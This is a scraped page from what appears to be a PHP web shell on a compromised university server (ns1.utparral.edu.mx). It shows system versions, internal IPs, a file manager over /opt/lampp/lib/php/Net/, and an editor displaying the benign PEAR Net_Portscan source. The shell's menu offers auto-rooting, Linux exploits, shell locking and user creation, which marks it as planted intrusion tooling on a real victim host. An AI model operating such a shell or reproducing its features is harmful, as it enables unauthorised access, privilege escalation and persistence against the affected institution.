Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
Net /
[ HOME SHELL ]
Name
Size
Permission
Action
DNS
[ DIR ]
drwxr-xr-x
FTP
[ DIR ]
drwxr-xr-x
NNTP
[ DIR ]
drwxr-xr-x
SmartIRC
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
UserAgent
[ DIR ]
drwxr-xr-x
CheckIP.php
2.35
KB
-rw-r--r--
Curl.php
24.42
KB
-rw-r--r--
Dict.php
14.49
KB
-rw-r--r--
Dig.php
9.31
KB
-rw-r--r--
DNS.php
14.57
KB
-rw-r--r--
Finger.php
2.18
KB
-rw-r--r--
FTP.php
77.05
KB
-rw-r--r--
Geo.php
24.05
KB
-rw-r--r--
Ident.php
10.47
KB
-rw-r--r--
IPv4.php
14.36
KB
-rw-r--r--
Ping.php
37.92
KB
-rw-r--r--
POP3.php
32.95
KB
-rw-r--r--
Portscan.php
3.83
KB
-rw-r--r--
Sieve.php
40.02
KB
-rw-r--r--
SmartIRC.php
86.38
KB
-rw-r--r--
SMTP.php
42.39
KB
-rw-r--r--
Socket.php
19.74
KB
-rw-r--r--
URL.php
14.95
KB
-rw-r--r--
Whois.php
13.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Portscan.php
<?php /** * PHP 4 * * Copyright (c) 1997-2003 The PHP Group * * This source file is subject to version 2.0 of the PHP license, * that is bundled with this package in the file LICENSE, and is * available at through the world-wide-web at * http://www.php.net/license/2_02.txt. * If you did not receive a copy of the PHP license and are unable to * obtain it through the world-wide-web, please send a note to * license@php.net so we can mail you a copy immediately. * * Authors: Martin Jansen <mj@php.net> * * @category Net * @package Net_Portscan * @author Martin Jansen <mj@php.net> * @license PHP 2.02 <http://www.php.net/license/2_02.txt> * @version CVS: $Id: Portscan.php 292446 2009-12-21 21:03:44Z mj $ * @link http://pear.php.net/net_portscan */ define("NET_PORTSCAN_SERVICE_FOUND", true); define("NET_PORTSCAN_NO_SERVICE", false); /** * Portscan class * * This class provides methods to scan ports on machines, * that are connected to the internet. See README for more * information on how to use it. * * @category Net * @package Net_Portscan * @author Martin Jansen <mj@php.net> * @license PHP 2.02 <http://www.php.net/license/2_02.txt> * @link http://pear.php.net/net_portscan */ class Net_Portscan { // {{{ checkPort() /** * Check if there is a service available at a certain port. * * This function tries to open a connection to the port * $port on the machine $host. If the connection can be * established, there is a service listening on the port. * If the connection fails, there is no service. * * @param string $host Hostname * @param integer $port Portnumber * @param integer $timeout Timeout for socket connection in seconds * (default is 30). * * @access public * @return string */ function checkPort($host, $port, $timeout = 30) { $socket = @fsockopen($host, $port, $errorNumber, $errorString, $timeout); if (!$socket) { return NET_PORTSCAN_NO_SERVICE; } @fclose($socket); return NET_PORTSCAN_SERVICE_FOUND; } // }}} // {{{ checkPortRange() /** * Check a range of ports at a machine * * This function can scan a range of ports (from $minPort * to $maxPort) on the machine $host for running services. * * @param string $host Hostname * @param integer $minPort Lowest port * @param integer $maxPort Highest port * @param integer $timeout Timeout for socket connection in seconds * (default is 30). * * @access public * * @return array Associative array containing the result */ function checkPortRange($host, $minPort, $maxPort, $timeout = 30) { for ($i = $minPort; $i <= $maxPort; $i++) { $retVal[$i] = Net_Portscan::checkPort($host, $i, $timeout); } return $retVal; } // }}} // {{{ getService() /** * Get name of the service that is listening on a certain port. * * @param integer $port Portnumber * @param string $protocol Protocol (Is either tcp or udp. Default is tcp.) * * @access public * * @return string Name of the Internet service associated with $service */ function getService($port, $protocol = "tcp") { return @getservbyport($port, $protocol); } // }}} // {{{ getPort() /** * Get port that a certain service uses. * * @param string $service Name of the service * @param string $protocol Protocol (Is either tcp or udp. Default is tcp.) * * @access public * * @return integer Internet port which corresponds to $service */ function getPort($service, $protocol = "tcp") { return @getservbyname($service, $protocol); } // }}} }
Close